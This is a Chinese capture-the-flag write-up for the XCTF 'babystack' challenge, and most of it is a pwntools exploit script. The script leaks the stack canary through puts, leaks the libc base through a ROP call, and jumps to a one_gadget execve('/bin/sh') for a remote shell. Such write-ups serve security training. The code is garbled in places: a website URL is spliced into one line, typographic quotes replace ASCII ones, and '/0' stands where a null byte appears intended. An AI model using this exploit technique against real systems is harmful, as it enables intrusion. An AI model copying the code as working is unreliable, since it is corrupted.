XCTF PWN高手进阶区之babystack

【XCTF PWN高手进阶区之babystack】此题,开启了RELRO、NX、CANARY,未开启PIE,只有read函数溢出存在溢出可能。
第一,泄露canary,程序会通过puts函数输出缓冲区s的内容。puts函数在输出时,只有遇到\0才会结束,而缓冲区s又和main函数的canary相连,此时,输入和缓冲区大小相等的字符串,溢出的\n将会覆盖canary的第一字节00,从而将canary的后三个字节输出,构建canary。
第二,获取shell。
尝试通过DynELF,leak 泄露libc system地址,发现每次执行输出的内容不相同,有时会报检测到栈溢出(stack smashing detected),有时不会。放弃。
通过read函数写入/bin/sh,调用system函数,未找到pop rdi,pop rsi, pop rdx ret。放弃
最后,通过ong_gadget找到execve(’/bin/sh’)的地址执行。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘35429’)
elf=ELF(’./babystack’)
puts_plt=elf.plt[‘puts’]
puts_got=elf.got[‘puts’]
start_addr=0x400720
ebp=0x400a30
pop_ret=0x400a92
pop_rdi=0x400a93
libc=ELF(’./libc-2.23.so’)
print p.recv()
print p.sendline(“1”)
payload=‘a’*130+‘b’*6
p.sendline(payload)
print p.recvuntil(">>")
p.sendline(“2”)
print p.recvuntil(‘bbbb’)
canary=p.recv()[3:10].rjust(8,’\0’)
print “%016x”%u64(canary)
p.sendlineafter(">> “,‘1’)
payload=‘a’*136+canary+p64(ebp)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
p.sendline(payload)
p.sendlineafter(”>> “,‘3’)
data= https://www.it610.com/article/p.recv(7).ljust(8,’/0’)
print “puts_got:”+hex(u64(data))
base_addr=u64(data)-libc.sym[‘puts’]
print “base:”+hex(base_addr)
system_addr=libc.sym[‘system’]+base_addr
execve_addr=0x45216+base_addr
print hex(libc.sym[‘execve’]+base_addr)
payload=‘a’*136+canary+p64(ebp)+p64(execve_addr)
print p.sendlineafter(”>> “,“1”)
p.sendline(payload)
print p.sendlineafter(”>> ",“3”)
p.interactive()

    推荐阅读